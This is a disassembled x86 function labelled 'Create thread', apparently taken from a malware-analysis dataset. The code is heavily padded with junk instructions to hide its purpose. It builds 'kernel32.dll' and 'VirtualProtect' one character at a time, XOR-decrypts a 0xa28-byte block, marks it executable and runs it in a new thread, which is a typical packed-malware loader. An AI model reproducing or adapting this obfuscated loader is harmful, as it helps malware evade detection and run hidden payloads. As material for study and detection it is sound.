Function at 0x401f48
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd8
pushfd
push 0x94421c91
add esp, 4
popfd
call fcn.0040236b
push ecx
pop ecx
lea eax, [ebp - 0xd8]
xchg esi, esi
xchg ebx, edx
xchg edx, ebx
mov ebx, 0x61
pushfd
inc edx
dec edx
popfd
pushfd
xor edi, 0xeaf77d00
xor edi, 0xeaf77d00
popfd
add bx, 0xa
xchg ecx, edi
xchg edi, ecx
mov word [eax], bx
pushfd
inc edi
dec edi
popfd
sub bx, 6
xchg edi, esi
xchg esi, edi
push esi
push edx
pop edx
pop esi
mov word [eax + 2], bx
xchg ebx, eax
xchg ebx, eax
push eax
pop eax
add bx, 0xd
push edx
pop edx
pushfd
xor esi, 0x387ee113
xor esi, 0x387ee113
popfd
mov word [eax + 4], bx
pushfd
push edx
add esp, 4
popfd
pushfd
xor eax, 0xdebd983d
xor eax, 0xdebd983d
popfd
sub bx, 4
xchg edi, edi
pushfd
push esi
add esp, 4
popfd
mov word [eax + 6], bx
mov ecx, ecx
pushfd
inc esi
dec esi
popfd
sub bx, 9
pushfd
inc ecx
dec ecx
popfd
xchg ecx, edi
xchg edi, ecx
mov word [eax + 8], bx
xchg edi, ecx
xchg ecx, edi
mov edx, edx
add bx, 7
push ebx
push ecx
pop ecx
pop ebx
pushfd
push esi
add esp, 4
popfd
mov word [eax + 0xa], bx
pushfd
inc eax
dec eax
popfd
sub bx, 0x39
mov eax, eax
mov esi, esi
mov word [eax + 0xc], bx
pushfd
push edi
add esp, 4
popfd
mov edi, edi
dec bx
mov ebx, ebx
push eax
pop eax
mov word [eax + 0xe], bx
push edi
pop edi
pushfd
xor ecx, 0x7a2eecce
xor ecx, 0x7a2eecce
popfd
sub bx, 4
pushfd
xor esi, 0x7baef84c
xor esi, 0x7baef84c
popfd
mov word [eax + 0x10], bx
xchg ebx, eax
xchg ebx, eax
push ebx
push esi
pop esi
pop ebx
add bx, 0x36
xchg ecx, ecx
mov word [eax + 0x12], bx
pushfd
push 0x73fc531a
add esp, 4
popfd
add bx, 8
mov ecx, ecx
mov word [eax + 0x14], bx
push edx
push ebx
pop ebx
pop edx
pushfd
push edi
add esp, 4
popfd
mov word [eax + 0x16], bx
pushfd
push ecx
add esp, 4
popfd
pushfd
push 0x324d7b09
add esp, 4
popfd
mov word [eax + 0x18], 0
pushfd
push 0x776979a7
add esp, 4
popfd
push eax
call dword [sym.imp.kernel32.dll_GetModuleHandleW]
mov esi, esi
mov edi, edi
mov dword [ebp - 0x10], eax
pushfd
xor ebx, 0x12b7281b
xor ebx, 0x12b7281b
popfd
lea eax, [ebp - 0xd8]
pushfd
xor ebx, 0xf0a28120
xor ebx, 0xf0a28120
popfd
mov ebx, 0x61
pushfd
push edi
add esp, 4
popfd
sub bl, 0xb
pushfd
inc eax
dec eax
popfd
mov byte [eax], bl
xchg ebx, ebx
add bl, 0x13
mov ecx, ecx
mov byte [eax + 1], bl
pushfd
inc edi
dec edi
popfd
pushfd
xor edx, 0x558b4863
xor edx, 0x558b4863
popfd
add bl, 9
pushfd
push edx
add esp, 4
popfd
pushfd
xor edi, 0x7652bde
xor edi, 0x7652bde
popfd
mov byte [eax + 2], bl
xchg ebx, ebx
pushfd
inc esi
dec esi
popfd
add bl, 2
push ebx
push eax
pop eax
pop ebx
mov byte [eax + 3], bl
push edx
push eax
pop eax
pop edx
mov esi, esi
inc bl
pushfd
push 0x4e9a31e6
add esp, 4
popfd
mov byte [eax + 4], bl
pushfd
inc edx
dec edx
popfd
pushfd
xor eax, 0x7e703416
xor eax, 0x7e703416
popfd
sub bl, 0x14
pushfd
inc edx
dec edx
popfd
mov byte [eax + 5], bl
pushfd
inc ecx
dec ecx
popfd
pushfd
push 0x467d2b0e
add esp, 4
popfd
add bl, 0xb
xchg ebx, ebx
mov byte [eax + 6], bl
xchg esi, esi
pushfd
xor ecx, 0x487c07d9
xor ecx, 0x487c07d9
popfd
sub bl, 0x1c
xchg edi, edi
pushfd
xor edi, 0xc5d35ac9
xor edi, 0xc5d35ac9
popfd
mov byte [eax + 7], bl
push esi
pop esi
add bl, 0x22
pushfd
inc esi
dec esi
popfd
pushfd
xor ecx, 0x698266f1
xor ecx, 0x698266f1
popfd
mov byte [eax + 8], bl
xchg edi, edi
sub bl, 3
pushfd
xor esi, 0xa0323b03
xor esi, 0xa0323b03
popfd
mov byte [eax + 9], bl
pushfd
push ebx
add esp, 4
popfd
nop
add bl, 5
mov edi, edi
mov byte [eax + 0xa], bl
pushfd
inc esi
dec esi
popfd
pushfd
inc edx
dec edx
popfd
sub bl, 0xf
push edi
push esi
pop esi
pop edi
pushfd
push edx
add esp, 4
popfd
mov byte [eax + 0xb], bl
pushfd
push esi
add esp, 4
popfd
pushfd
push 0x1084a108
add esp, 4
popfd
sub bl, 2
push esi
pop esi
pushfd
xor esi, 0x6604b918
xor esi, 0x6604b918
popfd
mov byte [eax + 0xc], bl
pushfd
xor edi, 0x1616fc28
xor edi, 0x1616fc28
popfd
add bl, 0x11
mov edx, edx
mov byte [eax + 0xd], bl
mov edx, edx
mov byte [eax + 0xe], 0
push eax
push edi
pop edi
pop eax
push eax
push dword [ebp - 0x10]
call dword [sym.imp.kernel32.dll_GetProcAddress]
mov eax, eax
mov dword [ebp - 0xc], eax
mov ecx, ecx
lea eax, [ebp - 8]
pushfd
push ebx
add esp, 4
popfd
push eax
push 4
push 0xa28
push entry0
call dword [ebp - 0xc]
mov edx, edx
mov edi, entry0
pushfd
push ecx
add esp, 4
popfd
mov esi, 0x40100e
pushfd
push edx
add esp, 4
popfd
mov ecx, 0xa28
push edi
push edx
pop edx
pop edi
pushfd
xor edx, 0x96ea9f1f
xor edx, 0x96ea9f1f
popfd
mov edx, 0x39e05225
xchg ebx, eax
xchg ebx, eax
pushfd
push 0xc0d1557e
add esp, 4
popfd
mov ebx, 0x7d6dc405
pushfd
xor esi, 0x6e36c84c
xor esi, 0x6e36c84c
popfd
cld
xchg edi, edi
lodsb al, byte [esi]
mov edx, edx
xor al, dl
mov ecx, ecx
stosb byte es:[edi], al
xchg edx, edx
ror edx, 5
nop
imul edx, edx, 7
nop
test ebx, 1
mov edx, edx
je 0x4022df
xchg edi, edi
add esi, 1
xchg edx, edx
ror ebx, 1
xchg ebx, ebx
dec ecx
xchg ecx, ecx
test ecx, ecx
mov edx, edx
jne 0x4022ba
pushfd
push 0xefdd453d
add esp, 4
popfd
lea eax, [ebp - 8]
push edi
pop edi
push ebx
pop ebx
push eax
push 0x20
push 0xa28
push entry0
call dword [ebp - 0xc]
xchg edx, edx
lea eax, [ebp - 4]
pushfd
xor edx, 0x567b6084
xor edx, 0x567b6084
popfd
push 0
push 0
push eax
push entry0
push 0
push 0
call dword [sym.imp.kernel32.dll_CreateThread]
xchg esi, edi
xchg edi, esi
xchg edx, edx
push 0x3e8
call dword [sym.imp.kernel32.dll_Sleep]
pushfd
push edx
add esp, 4
popfd
jmp 0x402338